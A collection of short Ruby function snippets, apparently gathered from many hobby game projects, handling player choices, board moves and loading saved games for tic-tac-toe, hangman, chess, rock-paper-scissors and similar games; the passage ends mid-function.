"def first_player_plays \n\t@choice_player1 = first_player.ask_play \n\tunless first_player.verification_coordonnees == true \n\t first_player.error \n\t \t @choice_player1 = first_player.ask_play\n\tend\n\n #pour chacun des elements du array stockant les cases\n #si le nom de la case = au choix du joueur et si la case et vide\n #changer la valeur de la case avec une petite croix\n #lance un message de succes (voir classe Player) qui dit que la case est bonne\n #si le nom de la case = au choix du joueur mais la case n'est pas vide\n #on lance la fonction error qui affiche un message d'erreur\n #on relance ask_play pour demander au joueur une autre coordonnee\n\t@array.map do |x| \n\t if x.value == @choice_player1 && x.check_if_empty\n\t x.fill_up_case(\"x\")\n\t first_player.success_case\n\t elsif x.value == @choice_player1 && !x.check_if_empty\n\t\t first_player.error\n\t\t @choice_player1 = first_player.ask_play\n\t end\n end\n\n #on lance la fonction ci-dessous pour modifier le board selon le choix du joueur\t\n\tupdate_board\n #on verifie si le joueur a gagne avec la fonction ci-dessous\n\tcheck_if_victory\n\n #si le joueur a gagne\n #on appelle la fonction winner (classer Player) qui affiche un message de victoire !\n #on lance la fonction ci-dessous qui demande a lancer un nouveau jeu\n\t if @victory == true\n\t first_player.winner \n\t another_game \n\t end\n end",
"def mnu_game_list (sender, sel, ptr)\r\n dlg = DlgListGames.new(self,@supported_game_map, @last_selected_gametype, @app_settings)\r\n if dlg.execute != 0\r\n k = dlg.get_activatedgame_key\r\n if @app_settings[:games_opt] != nil and @app_settings[:games_opt][k] != nil\r\n @app_settings[:games_opt][k] = dlg.get_curr_options\r\n @app_settings[\"curr_game\"] = k\r\n @log.debug(\"opzioni del gioco #{k}: #{@app_settings[:games_opt][k].inspect} \")\r\n save_settings_in_yaml()\r\n end\r\n initialize_current_gfx(k)\r\n log_sometext(\"Attivato il gioco #{@supported_game_map[k][:name]}\\n\") \r\n end\r\n end",
"def load_game\n\t\tprint \"Load game (y/n): \"\n\t\tload = gets.chomp.downcase[0]\n\t\treturn false if load == 'n'\n\t\treturn loader if load == 'y'\n\t\tload_game if (load != 'n' || load != 'y')\n\tend",
"def load #TODO: validation\n \tputs \"What game do you want to load?\"\n \tsaved_game = gets.chomp.gsub(' ', '_')\n \tsaved_game = \"#{saved_game}.yaml\"\n \tload_game(saved_game)\n end",
"def load_menu\n\t\ti = 1\n File.new(\"saved_games.yaml\",\"w\") unless File.exist?(\"saved_games.yaml\")\n if File.read(\"saved_games.yaml\").empty?\n puts \"There are no saved games, yet.\"\n initialize\n else\n YAML.load_stream(File.open(\"saved_games.yaml\")) do |saved_game|\n puts \"#{i}: \" + saved_game[-1].strftime(\"%m/%d/%Y %I:%M%P\")\n i += 1\n end\n puts \"\"\n puts \"Choose a game to load or \\\"exit\\\" to menu:\"\n game_index = gets.chomp.strip.downcase\n if game_index == \"exit\"\n initialize\n elsif game_index.to_i <= i && game_index.to_i >= 1\n game_index = game_index.to_i\n i = 1\n File.new(\"temp.yaml\",\"w\")\n puts \"\"\n YAML.load_stream(File.open(\"saved_games.yaml\")) do |game|\n if i == game_index\n \t@gameboard = game[0]\n @pieces = game[1]\n @player_color = game[2]\n else\n File.open(\"temp.yaml\",\"a\") do |out|\n YAML::dump(game,out)\n end\n end\n i += 1\n end\n File.delete(\"saved_games.yaml\")\n File.rename(\"temp.yaml\",\"saved_games.yaml\")\n Chess.new(@gameboard,@pieces,@player_color)\n else\n puts \"Invalid input. Try again...\"\n puts \"\"\n load_menu\n end\n end\n\tend",
"def load_game(i)\n sys('load')\n File.open(filename(i), \"rb\") do |file|\n Marshal.load(file)\n extract_save_contents(Marshal.load(file))\n $game.reload\n @index = i\n end\n return true\n end",
"def load_game\n save_file = YAML.load(File.read('save_game.yml'))\n @guess = save_file['guess']\n @secret_word = save_file['secret_word']\n @word_teaser = save_file['word_teaser']\n @lives = save_file['lives']\n round_start\n end",
"def computer_choice \r\n\t\t@computer = [\"rock\", \"paper\", \"scissors\"].shuffle.first\r\n\tend",
"def seleccion\n case @selection\n when 1\n push_game_state(EnterName.new(callback: method(:enter_name)))\n when 2\n if @token_difficulty.zero?\n @difficulty_message.text = \"Dificultad: #{@difficulty[1]}\"\n @token_difficulty = 1\n @select_sound = 0\n elsif @token_difficulty == 1\n @difficulty_message.text = \"Dificultad: #{@difficulty[2]}\"\n @token_difficulty = 2\n @select_sound = 1\n @sound_tracks_list[@select_sound].play if @music_playing\n else\n @difficulty_message.text = \"Dificultad: #{@difficulty[0]}\"\n @token_difficulty = 0\n @select_sound = 0\n @sound_tracks_list[@select_sound].play if @music_playing\n end\n when 3\n if @music_playing\n @music_message.text = 'Musica: OFF'\n @music_playing = false\n @sound_tracks_list[@select_sound].pause\n else\n @music_message.text = 'Musica: ON'\n @music_playing = true\n @sound_tracks_list[@select_sound].play\n end\n when 4\n push_game_state(Acerca)\n when 5\n exit\n end\n\n end",
"def load_game?\n\t\tputs \"Would you like to load a previously saved game\"\n\t\tputs \"(yes or no)\"\n\t\tanswer = gets.chomp.downcase\n\t\tif answer == \"yes\"\n\t\t\tload\n\t\telsif answer == \"no\"\n\t\t\treturn\n\t\telse\n\t\t\tputs \"I did not understand that answer, try again\"\n\t\t\tload_game?\n\t\tend\n\tend",
"def load_game\n puts \"Would you like to load a saved game?\"\n puts \"Enter \\\"y\\\" or \\\"n\\\":\"\n input = gets.chomp\n if input != \"\" && input[0].downcase == \"y\"\n game = YAML.load(File.read(\"hangman.yaml\"))\n @word = game[:word]\n @max_turn = game[:max_turn]\n @current_turn = game[:current_turn]\n @display_word = game[:display_word]\n @current_guess = game[:current_turn]\n end\n puts \"Game is loaded!\"\n end",
"def start_round\n super\n @game_options_array = ['Skip', 'Take card', 'Open up']\n end",
"def initialize_current_gfx(game_type)\r\n @last_selected_gametype = game_type\r\n # reset the title\r\n initial_board_text\r\n \r\n ##initialize a current local game\r\n init_local_game(game_type)\r\n end",
"def production_loaded\n if TicTacToeEngine::TTT::CONFIG.boards.active.size == 0\n puts \"***Error***: No active boards found\"\n close\n end\n @scoreboard = TicTacToeEngine::Scoreboard.new\n TicTacToeEngine::TTT.initialize_cache\n @board_selection = TicTacToeEngine::TTT::CONFIG.boards.active.first\n @player_selection = [{:id => TicTacToeEngine::TTT::CONFIG.pieces[:o], :name => TicTacToeEngine::TTT::CONFIG.players.keys.first.to_s,\n :value => TicTacToeEngine::TTT::CONFIG.players[TicTacToeEngine::TTT::CONFIG.players.keys.first][:value]},\n {:id => TicTacToeEngine::TTT::CONFIG.pieces[:x], :name => TicTacToeEngine::TTT::CONFIG.players.keys.last.to_s,\n :value => TicTacToeEngine::TTT::CONFIG.players[TicTacToeEngine::TTT::CONFIG.players.keys.last][:value]}]\n end",
"def play\n @play_array = [\"rock\", \"paper\", \"scissors\"]\n @play_array.sample\n end",
"def get_game\n\t\tif @file_exists == 1\n\t\t\t# If the file exists, but there are no rows in it, there are no saved games\n\t\t\tif @data.length == 0\n\t\t\t\tputs \"Oops, you have no saved games.\"\n\t\t\t\tputs \"Here, start a new one!\"\n\t\t\t\tputs\n\t\t\t\tnew_game\n\t\t\telse\n\t\t\t\tputs \"Which game?\"\n\t\t\t\t# Display each partially guessed word like: \"1. _ e _ _ t\"\n\t\t\t\t@data.each_with_index { |row, i| puts \"#{i+1}. #{row[1].split(\"\").join(\" \")}\" }\n\t\t\t\t# Get user's choice\n\t\t\t\tgame = gets.chomp.to_i\n\t\t\t\t# If the user entered a number that appears on the board...\n\t\t\t\tif game.between?(1,@data.length)\n\t\t\t\t\t# Get all info out of chosen row\n\t\t\t\t\t@word = @data[game-1][0].split(\"\").to_a\n\t\t\t\t\t@guess = @data[game-1][1]\n\t\t\t\t\t@wrong_letters = @data[game-1][2]\n\t\t\t\t\t@turn = @data[game-1][3].to_i\n\t\t\t\t\t@running_saved_game = (game - 1)\n\t\t\t\t\t# Get the next guess\n\t\t\t\t\tget_guess\n\t\t\t\telse\n\t\t\t\t\tputs \"Not a valid choice! Pick again\"\n\t\t\t\t\tget_game\n\t\t\t\tend\n\t\t\tend\n\t\telse\n\t\t\tputs \"Oops, you have no saved games.\"\n\t\t\tputs \"Here, start a new one!\"\n\t\t\tputs\n\t\t\tnew_game\n\t\tend\n\tend",
"def load_game\n print_saves\n begin\n read_save\n rescue IOError, SystemCallError\n puts 'File not found'\n load_game\n end\n end",
"def choose_turn_order\r\n @players.shuffle!\r\n end",
"def choose\n self.move = CHOICES.sample\n end",
"def computer_turn\n computer_options = AVAILABLE_SLOTS.select do |index|\n index != nil\n end\n #p computer_options.sample\n case computer_options.sample\n when 0\n BOARD[0][0] = 'o'\n AVAILABLE_SLOTS[0] = nil\n when 1\n BOARD[0][1] = 'o'\n AVAILABLE_SLOTS[1] = nil\n when 2\n BOARD[0][2] = 'o'\n AVAILABLE_SLOTS[2] = nil\n when 3\n BOARD[1][0] = 'o'\n AVAILABLE_SLOTS[3] = nil\n when 4\n BOARD[1][1] = 'o'\n AVAILABLE_SLOTS[4] = nil\n when 5\n BOARD[1][2] = 'o'\n AVAILABLE_SLOTS[5] = nil\n when 6\n BOARD[2][0] = 'o'\n AVAILABLE_SLOTS[6] = nil\n when 7\n BOARD[2][1] = 'o'\n AVAILABLE_SLOTS[7] = nil\n when 8\n BOARD[2][2] = 'o'\n AVAILABLE_SLOTS[8] = nil\n end\n\n print_board()\nend",
"def load\n file_name = ask_save_file\n save_file = File.open(file_name, 'r')\n save_file.pos = 0\n contents = unserialize(save_file.read)\n @name = contents['name']\n @guess = contents['guess']\n @word = contents['word']\n @bank = contents['bank']\n @lives = contents['lives']\n @letter = contents['letter']\n puts \"Game has been loaded from Save File #{file_name[-5]}!\"\n puts \"\\n\\n\"\n end",
"def load_game\n\t\tall_saved_games = yaml_load(SAVED_FILENAME)\n\t\tgame_name = get_game_name(all_saved_games, \"load\")\n\t\treturn if game_name.nil?\n\n\t\tsaved_game = YAML::load(all_saved_games[game_name])\n\t\tmessage_then_enter \"'#{ game_name }' successfully loaded.\"\n\t\tsaved_game.play_game\n\tend",
"def game_settings\n\t\t# ring = ['one', 'two', 'three']\n\t\tgame = Game.where(name: 'test_game').first\n\t\t@ring = game.get_ring_from_assignments\n\n\n\tend",
"def load_or_new_game\n puts \"Welcome to Hangman!\"\n if File.exist?(\"savefile.txt\")\n puts \"Would you like to (1) load your saved game or (2) start a new game? Please enter 1 or 2.\"\n answer = gets.chomp\n if answer == \"1\"\n save_state = File.read(\"savefile.txt\")\n status = YAML.load(save_state)\n File.delete(\"savefile.txt\")\n else\n status = start_game\n end\n else \n status = start_game\n end\n show_board(status)\n return status\n end",
"def run\n choose_game(prompt)\nend",
"def word_selector\n\t\t@game_word = @word.sample\n\tend",
"def determine_what_comp_picks\n random = [1,2,3].shuffle\n choice = random[0]\n\n if choice == 1\n comp_picked = \"Paper\"\n elsif choice == 2\n comp_picked = \"Rock\"\n elsif choice == 3\n comp_picked = \"Scissors\"\n end\n\nend",
"def choose_pokemon(pokemon_array)\n pokemons << pokemon_array\n end",
"def preload!\n @old_choices = choices\n # If choices was a Proc, give it a call\n self.choices = choices.call if choices.is_a? Proc\n \n # turns {:id1 => value_1, :id2=> value_2} into => [[id1, value1], [id2,value2]]\n # alphabetical by value\n self.choices = choices.sort_by(&:last)\n end",
"def setup_game\n @deck.shuffle!\n end",
"def start_game\n puts \"What would you like to do?\"\n puts \"1. Load Saved Game\"\n puts \"2. Start New Game\"\n choice = gets.chomp\n if choice == \"1\"\n find_save_file\n elsif choice == \"2\"\n initialize\n end\n end",
"def start_game\n puts \"What would you like to do?\"\n puts \"1. Load Saved Game\"\n puts \"2. Start New Game\"\n choice = gets.chomp\n if choice == \"1\"\n find_save_file\n elsif choice == \"2\"\n initialize\n end\n end",
"def choose\n \n end",
"def inicializar\n categoria = gets.to_i\n case categoria\n when 1\n load 'nombres_script.rb'\n when 2\n load 'apellidos_script.rb'\n else\n load 'verbos_script.rb'\n end\n\n @respuesta = []\n @intentos = 0\n #Inicializar @limite según longitud de la palabra\n case @palabra.length\n when 0..4\n @limite = 7\n when 5..8\n @limite = 12\n when 9..15\n @limite = 20\n else\n @limite = 30\n end\n #Inicializar respuesta con guines bajos\n @palabra.length.times do |x|\n @respuesta[x] = \"_\"\n end\n return @respuesta\nend",
"def ai_selection\n @acceptable_choices.sample\n end",
"def generate_new_game\n Game.new(Array.new(10, 'X'), 0, rand())\nend",
"def pbChoosePokemon(variableNumber,nameVarNumber,ableProc=nil,allowIneligible=false)\n chosen = 0\n pbFadeOutIn(99999){\n scene = PokemonParty_Scene.new\n screen = PokemonPartyScreen.new(scene,$Trainer.party)\n if ableProc\n chosen=screen.pbChooseAblePokemon(ableProc,allowIneligible) \n else\n screen.pbStartScene(_INTL(\"Choose a Jermon.\"),false)\n chosen = screen.pbChoosePokemon\n screen.pbEndScene\n end\n }\n pbSet(variableNumber,chosen)\n if chosen>=0\n pbSet(nameVarNumber,$Trainer.party[chosen].name)\n else\n pbSet(nameVarNumber,\"\")\n end\nend",
"def main_menu\n print 'YoU pIcK NoW!: '\n case gets.chomp.to_i\n when 1 then @game = Gamestate.new(true, true)\n when 2 then @game = Gamestate.new(true)\n when 3 then @game = Gamestate.new\n when 4\n if Dir.exist?('saves')\n @game = Gamestate.new(false, false, true)\n @game.load_game\n else\n print 'WrOnG! '\n main_menu\n end\n when nil || 5..9 || 0\n print 'WrOnG! '\n main_menu\n end\nend",
"def load_game\n if File.exists?(@save_file)\n File.open(@save_file, 'r') do |f|\n @hero = Marshal.load(f)\n end\n @cmd_window.setpos(0,0)\n @cmd_window << \"Game loaded!\".rjust(CMD_WIDTH)\n else\n @cmd_window.setpos(0,0)\n @cmd_window << \"No save file found!\".rjust(CMD_WIDTH)\n end\n end",
"def new_game\n\t\tclear\n\t\tget_username\n\t\tselect_level\n\t\tget_deck\n\t\tshuffle\n\t\tget_hand\n\t\tcontinue_game\n\tend",
"def computer_play(options)\n\n if @computer_guess != []\n\n filter_guess(options)\n\n else\n\n # Fill guess array.\n\n while @computer_guess.length < 4\n\n @computer_guess.push(options[rand(options.length)])\n\n end\n \n end\n\n puts \"#{@computer_guess}\"\n\n return @computer_guess\n\n end",
"def array_start(a)\n\t\tif a == 1\n\t\t\tputs \"#{@player[0].upcase} joue :\".colorize(:blue) \n\t\t\ta = \"x\"\n\t\telse \n\t\t\tputs \"#{@player[1].upcase} joue :\".colorize(:blue) \n\t\t\ta = \"o\"\n\t\tend\n\t\twhile true\n\t\t\tchoix_player = gets.chomp.to_s.downcase\n\t\t\tif choix_player.size == 2 || choix_player[0..-2].ord == 99 || choix_player[0..-2].ord == 97 || choix_player[0..-2].ord == 98 || choix_player[1..-1].to_i < 3 || choix_player[1..-1].to_i >= 1\n\t\t\t\tcase ((choix_player[0..-2].ord - 96).to_i)\n\t\t\t\twhen 1\n\t\t\t\t \tif @array_game[(choix_player[1..-1].to_i)-1] != \" \"\n\t\t\t\t \t\t@board.ptit_fraze_hala_kon(1)\n\t\t\t\t \telse\n\t\t\t\t \t\t@array_game[(choix_player[1..-1].to_i)-1] = a\n\t\t\t\t \t\tbreak\n\t\t\t\t \tend\n\t\t\t\twhen 2\n\t\t\t\t\tif @array_game[(2 + choix_player[1..-1].to_i)] != \" \"\n\t\t\t\t\t\t@board.ptit_fraze_hala_kon(1)\n\t\t\t\t\telse\n\t\t\t\t \t\t@array_game[(2 + choix_player[1..-1].to_i)] = a\n\t\t\t\t \t\tbreak\n\t\t\t\t \tend\n\t\t\t\twhen 3\n\t\t\t\t\tif @array_game[(5 + choix_player[1..-1].to_i)] != \" \"\n\t\t\t\t\t\t@board.ptit_fraze_hala_kon(1)\n\t\t\t\t\telse\n\t\t\t\t \t\t@array_game[(5 + choix_player[1..-1].to_i)] = a\n\t\t\t\t \t\tbreak\n\t\t\t\t \tend\n\t\t\t\tend\n\t\t\telse\n\t\t\t\t@board.ptit_fraze_hala_kon(2)\n\t\t\tend\n\t\tend\n\tend",
"def choice_save\n StatsChoice.create(self.team(:choice))\n end",
"def choice_a_battle\n use_item_in_battle\n end",
"def play_game\n\t#user_choose_rps \n\tcomp_choice = comp_choose_rps #<-- no need to use this because it's used once \n\tuser_choice = user_choose_rps \n\tputs \"The computer chose #{comp_choice}. You chose #{user_choice}.\" \n\tputs get_winner(comp_choice, user_choice) \n\treplay \nend",
"def choice_a_menu\n item_id = @item_list[@index]\n return action_b if item_id.nil?\n return play_buzzer_se if item_id == 0\n play_decision_se\n show_shadow_frame\n # Prepare the choice info\n # Use option\n map_usable = proc { !GameData::Item[item_id].map_usable }\n # Give option\n giv_check = proc { $pokemon_party.pokemon_alive <= 0 || !GameData::Item[item_id].holdable }\n # Unregister / register\n if $bag.shortcuts.include?(item_id)\n reg_id = 14\n reg_meth = method(:unregister_item)\n else\n reg_id = 2\n reg_meth = method(:register_item)\n reg_check = map_usable\n end\n # Throw option\n thr_check = proc { !GameData::Item[item_id].limited }\n # Create the choice\n choices = PFM::Choice_Helper.new(Yuki::ChoiceWindow::But, true, 999)\n choices.register_choice(text_get(22, 0), on_validate: method(:use_item), disable_detect: map_usable)\n .register_choice(text_get(22, 3), on_validate: method(:give_item), disable_detect: giv_check)\n .register_choice(text_get(22, reg_id), on_validate: reg_meth, disable_detect: reg_check)\n .register_choice(text_get(22, 1), on_validate: method(:throw_item), disable_detect: thr_check)\n .register_choice(text_get(22, 7))\n # Show selection : item_name\n @base_ui.show_win_text(parse_text(22, 35, PFM::Text::ITEM2[0] => GameData::Item[item_id].exact_name))\n # Process the actual choice\n y = 200 - 16 * choices.size\n choices.display_choice(@viewport, 306, y, nil, on_update: method(:update_graphics), align_right: true)\n @base_ui.hide_win_text\n hide_shadow_frame\n end",
"def computer_choice\n free_slots = @board.each_line.to_a.flatten.map.with_index {|e, ix| e.nil? ? ix : nil }.compact\n return \"No Free Slots\" if free_slots.empty?\n rand_pos = rand(free_slots.size)\n free_slot = free_slots[rand_pos]\n col = free_slot % 3 + 1\n lin = free_slot / 3 + 1\n case\n when @choice == \"X\"\n @board[lin, col] = \"O\"\n when @choice == \"O\"\n @board[lin, col] = \"X\"\n end \n \n end",
"def game\n print @hidden\n puts\n print @open\n puts\n preparation\n c = Combination.new(@hidden, @open)\n c.find_combination\n end",
"def action_choice(a_player)\n print (\"#{a_player}\").yellow\n puts \", it is your turn to play.\"\n puts \"This is the board situation :\"\n puts @board.the_board\n puts\n puts \"Which box do you want to tick?\"\n print \">\"\n choice = gets.chomp\n while board.boxes.include?(choice) == false\n puts \"Invalid box reference. Please, pick up another box reference.\"\n choice = gets.chomp\n end\n return choice\n end",
"def intro\n\tputs \"1--Load File\"\n\tputs \"2--New Game\"\n\tchoice = gets.chomp.to_i\n\tcase choice \n\twhen 1\n\t\tload()\n\twhen 2\n\tputs \"Hello Quester, what is your name?\"\n\t@user_name = gets.chomp\n\tputs \"Welcome \" + @user_name.to_s \n\tputs \"You have \" + @coin.to_s + \" coins.\"\n\tend\nend",
"def inicializar\n categoria = gets.to_i\n case categoria\n when 1\n load 'nombres_script.rb'\n when 2\n load 'apellidos_script.rb'\n else\n load 'verbos_script.rb'\n end\n\n @respuesta = []\n @intentos = 0\n # Inicializar @limite segun longitud de la palabra\n case @palabra.length\n when 0..4\n @limite = 7\n when 5..8\n @limite = 12\n when 9..15\n @limite = 20\n else\n @limite = 30\n end\n # Inicializar respuesta con guiones bajos\n @palabra.length.times do |x|\n @respuesta[x] = \"_\"\n end\n return @respuesta\nend",
"def pbChooseTradablePokemon(variableNumber,nameVarNumber,ableProc=nil,allowIneligible=false)\n chosen = 0\n pbFadeOutIn(99999){\n scene = PokemonParty_Scene.new\n screen = PokemonPartyScreen.new(scene,$Trainer.party)\n if ableProc\n chosen=screen.pbChooseTradablePokemon(ableProc,allowIneligible) \n else\n screen.pbStartScene(_INTL(\"Choose a Jermon.\"),false)\n chosen = screen.pbChoosePokemon\n screen.pbEndScene\n end\n }\n pbSet(variableNumber,chosen)\n if chosen>=0\n pbSet(nameVarNumber,$Trainer.party[chosen].name)\n else\n pbSet(nameVarNumber,\"\")\n end\nend",
"def initBoard\n\t\tprng = Random.new\n\t\tspotOne = prng.rand(6).truncate + 97\n\t\tspotTwo = prng.rand(6).truncate + 97\n\t\tspotThree = prng.rand(6).truncate + 97\n\t\tspotFour = prng.rand(6).truncate + 97\n\t\t@real = [spotOne, spotTwo, spotThree, spotFour]\n\t\t#@real = [98, 100, 97, 98]\n\t\t#classfield\n\t\t@guesses = []\n\tend",
"def computer_ai_1\n choices =['r', 'p', 's']\n choices.sample\n end",
"def load\n puts \"Would you like to load your previous game? (y/n)\"\n puts \"\"\n response = gets.strip.downcase\n puts \"\"\n if response == \"y\" && File.exist?(\"saves.yaml\")\n save = File.read(\"saves.yaml\")\n @computer = YAML::load(save)\n puts \"Your game has been loaded!\"\n puts \"\"\n else\n puts \"New game created!\"\n puts \"\"\n end\n end",
"def update_game(prize)\n action = bot_action\n\n if last_turn?\n prize[:final] = true\n prize[:action] = \"OPENED\"\n prize[:stolen] = false\n @game[prize[:id]] = prize\n elsif action == \"open\"\n prize[:finished] = true\n prize[:action] = \"OPENED\"\n prize[:stolen] = false\n @game[prize[:id]] = prize\n elsif action == \"steal_bot\"\n # Grab random index from array where finished\n random = [*0..finished_count - 1]\n random = random - [winner_prize[:id]] if winner_prize[:id] < finished_count\n index = random.sample\n bot_prize = @game[index]\n #set action\n prize[:action] = \"STOLEN\"\n bot_prize[:action] = \"DECIDING...\"\n #swap prizes\n temp_prize = prize[:prize]\n prize[:prize] = bot_prize[:prize]\n bot_prize[:prize] = temp_prize\n # set status\n prize[:finished] = true\n bot_prize[:finished] = false\n prize[:stolen] = false\n bot_prize[:stolen] = true\n #set game\n @game[prize[:id]] = prize\n @game[index] = bot_prize\n\n prize = bot_prize\n else\n # Grab index of user from array\n index = @game.find_index{ |item| !item[:bot]}\n bot_prize = @game[index]\n #set action\n prize[:action] = \"STOLEN\"\n bot_prize[:action] = \"DECIDING...\"\n #swap prizes\n temp_prize = prize[:prize]\n prize[:prize] = bot_prize[:prize]\n bot_prize[:prize] = temp_prize\n # set status\n prize[:finished] = true\n bot_prize[:finished] = false\n prize[:stolen] = false\n bot_prize[:stolen] = true\n #set game\n @game[prize[:id]] = prize\n @game[index] = bot_prize\n\n prize = bot_prize\n end\n\n cache.write(@key, @game, expires_in: 24.hours)\n prize\n end",
"def pick_rps\n rpsArr.sample\n end",
"def games\n @games ||= populate_game_array\n end",
"def subgame(index)\n self.board_state[index]\n end",
"def handle_menu_choice choice\n\t\tcase choice\n\t\twhen 1 then setup_game; play_game\n\t\twhen 2 then load_game\n\t\twhen 3 then delete_game\n\t\twhen 4 then list_games\n\t\twhen 5 then return :quit\n\t\tend\n\tend",
"def choose\n [:rock, :paper, :scissors, :spock, :lizard].sample\n end",
"def menu_choice(choice)\n\n\t\tif choice == \"a\"\n\t\t\thuman_player.search_weapon\n\t\telsif choice == \"s\"\n\t\t\thuman_player.search_health_pack\n\t\telse\n\t\t\ti = 0\n\t\t\tenemies_in_sight.each do |enemy|\n\t\t\t\ti += 1\n\t\t\t\tif i == choice.to_i\n\t\t\t\t\thuman_player.attacks(enemy)\n\t\t\t\t\tunless enemy.life_points > 0\n\t\t\t\t\t\tenemies_in_sight.delete(enemy)\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend",
"def slotGenerator2(tictac_array, g, humanPlayer, computerPlayer)\n while tictac_array[g] == \"#{computerPlayer}\" || tictac_array[g] == \"#{humanPlayer}\" \n puts \"Please enter a valid selection\"\n p = gets.chomp\n g = p.to_i\n end\n \n tictac_array[g] = \"#{humanPlayer}\"\n \n if g == 0 && tictac_array[1] != \"#{humanPlayer}\" && tictac_array[1] != \"#{computerPlayer}\" \n tictac_array[1] = \"#{computerPlayer}\" \n\n elsif g == 0 && tictac_array[2] != \"#{humanPlayer}\" && tictac_array[2] != \"#{computerPlayer}\" \n tictac_array[2] = \"#{computerPlayer}\"\n elsif g == 0 && tictac_array[3] != \"#{humanPlayer}\" && tictac_array[3] != \"#{computerPlayer}\" \n tictac_array[3] = \"#{computerPlayer}\"\n elsif g == 0 && tictac_array[4] != \"#{humanPlayer}\" && tictac_array[4] != \"#{computerPlayer}\" \n tictac_array[4] = \"#{computerPlayer}\"\n elsif g == 0 && tictac_array[5] != \"#{humanPlayer}\" && tictac_array[5] != \"#{computerPlayer}\" \n tictac_array[5] = \"#{computerPlayer}\"\n elsif g == 0 && tictac_array[6] != \"#{humanPlayer}\" && tictac_array[6] != \"#{computerPlayer}\" \n tictac_array[6] = \"#{computerPlayer}\"\n elsif g == 0 && tictac_array[7] != \"#{humanPlayer}\" && tictac_array[7] != \"#{computerPlayer}\" \n tictac_array[7] = \"#{computerPlayer}\"\n elsif g == 0 && tictac_array[8] != \"#{humanPlayer}\" && tictac_array[8] != \"#{computerPlayer}\" \n tictac_array[8] = \"#{computerPlayer}\"\n elsif g == 1 && tictac_array[0] != \"#{humanPlayer}\" && tictac_array[0] != \"#{computerPlayer}\" \n tictac_array[0] = \"#{computerPlayer}\" \n elsif g == 1 && tictac_array[2] != \"#{humanPlayer}\" && tictac_array[2] != \"#{computerPlayer}\" \n tictac_array[2] = \"#{computerPlayer}\" \n elsif g == 1 && tictac_array[3] != \"#{humanPlayer}\" && tictac_array[3] != \"#{computerPlayer}\" \n tictac_array[3] = \"#{computerPlayer}\"\n elsif g == 1 && tictac_array[4] != \"#{humanPlayer}\" && tictac_array[4] != \"#{computerPlayer}\" \n tictac_array[4] = \"#{computerPlayer}\"\n elsif g == 1 && tictac_array[5] != \"#{humanPlayer}\" && tictac_array[5] != \"#{computerPlayer}\" \n tictac_array[5] = \"#{computerPlayer}\"\n elsif g == 1 && tictac_array[6] != \"#{humanPlayer}\" && tictac_array[6] != \"#{computerPlayer}\" \n tictac_array[6] = \"#{computerPlayer}\"\n elsif g == 1 && tictac_array[7] != \"#{humanPlayer}\" && tictac_array[7] != \"#{computerPlayer}\" \n tictac_array[7] = \"#{computerPlayer}\"\n elsif g == 1 && tictac_array[8] != \"#{humanPlayer}\" && tictac_array[8] != \"#{computerPlayer}\" \n tictac_array[8] = \"#{computerPlayer}\"\n elsif g == 2 && tictac_array[0] != \"#{humanPlayer}\" && tictac_array[0] != \"#{computerPlayer}\" \n tictac_array[0] = \"#{computerPlayer}\" \n elsif g == 2 && tictac_array[1] != \"#{humanPlayer}\" && tictac_array[1] != \"#{computerPlayer}\" \n tictac_array[1] = \"#{computerPlayer}\"\n elsif g == 2 && tictac_array[3] != \"#{humanPlayer}\" && tictac_array[3] != \"#{computerPlayer}\" \n tictac_array[3] = \"#{computerPlayer}\"\n elsif g == 2 && tictac_array[4] != \"#{humanPlayer}\" && tictac_array[4] != \"#{computerPlayer}\" \n tictac_array[4] = \"#{computerPlayer}\"\n elsif g == 2 && tictac_array[5] != \"#{humanPlayer}\" && tictac_array[5] != \"#{computerPlayer}\" \n tictac_array[5] = \"#{computerPlayer}\"\n elsif g == 2 && tictac_array[6] != \"#{humanPlayer}\" && tictac_array[6] != \"#{computerPlayer}\" \n tictac_array[6] = \"#{computerPlayer}\"\n elsif g == 2 && tictac_array[7] != \"#{humanPlayer}\" && tictac_array[7] != \"#{computerPlayer}\" \n tictac_array[7] = \"#{computerPlayer}\"\n elsif g == 2 && tictac_array[8] != \"#{humanPlayer}\" && tictac_array[8] != \"#{computerPlayer}\" \n tictac_array[8] = \"#{computerPlayer}\"\n elsif g == 3 && tictac_array[0] != \"#{humanPlayer}\" && tictac_array[0] != \"#{computerPlayer}\" \n tictac_array[0] = \"#{computerPlayer}\" \n elsif g == 3 && tictac_array[1] != \"#{humanPlayer}\" && tictac_array[1] != \"#{computerPlayer}\" \n tictac_array[1] = \"#{computerPlayer}\"\n elsif g == 3 && tictac_array[2] != \"#{humanPlayer}\" && tictac_array[2] != \"#{computerPlayer}\" \n tictac_array[2] = \"#{computerPlayer}\"\n elsif g == 3 && tictac_array[4] != \"#{humanPlayer}\" && tictac_array[4] != \"#{computerPlayer}\" \n tictac_array[4] = \"#{computerPlayer}\"\n elsif g == 3 && tictac_array[5] != \"#{humanPlayer}\" && tictac_array[5] != \"#{computerPlayer}\" \n tictac_array[5] = \"#{computerPlayer}\"\n elsif g == 3 && tictac_array[6] != \"#{humanPlayer}\" && tictac_array[6] != \"#{computerPlayer}\" \n tictac_array[6] = \"#{computerPlayer}\"\n elsif g == 3 && tictac_array[7] != \"#{humanPlayer}\" && tictac_array[7] != \"#{computerPlayer}\" \n tictac_array[7] = \"#{computerPlayer}\"\n elsif g == 3 && tictac_array[8] != \"#{humanPlayer}\" && tictac_array[8] != \"#{computerPlayer}\" \n tictac_array[8] = \"#{computerPlayer}\"\n elsif g == 4 && tictac_array[0] != \"#{humanPlayer}\" && tictac_array[0] != \"#{computerPlayer}\" \n tictac_array[0] = \"#{computerPlayer}\" \n elsif g == 4 && tictac_array[1] != \"#{humanPlayer}\" && tictac_array[1] != \"#{computerPlayer}\" \n tictac_array[1] = \"#{computerPlayer}\"\n elsif g == 4 && tictac_array[2] != \"#{humanPlayer}\" && tictac_array[2] != \"#{computerPlayer}\" \n tictac_array[2] = \"#{computerPlayer}\"\n elsif g == 4 && tictac_array[3] != \"#{humanPlayer}\" && tictac_array[3] != \"#{computerPlayer}\" \n tictac_array[3] = \"#{computerPlayer}\"\n elsif g == 4 && tictac_array[5] != \"#{humanPlayer}\" && tictac_array[5] != \"#{computerPlayer}\" \n tictac_array[5] = \"#{computerPlayer}\"\n elsif g == 4 && tictac_array[6] != \"#{humanPlayer}\" && tictac_array[6] != \"#{computerPlayer}\" \n tictac_array[6] = \"#{computerPlayer}\" \n elsif g == 4 && tictac_array[7] != \"#{humanPlayer}\" && tictac_array[7] != \"#{computerPlayer}\" \n tictac_array[7] = 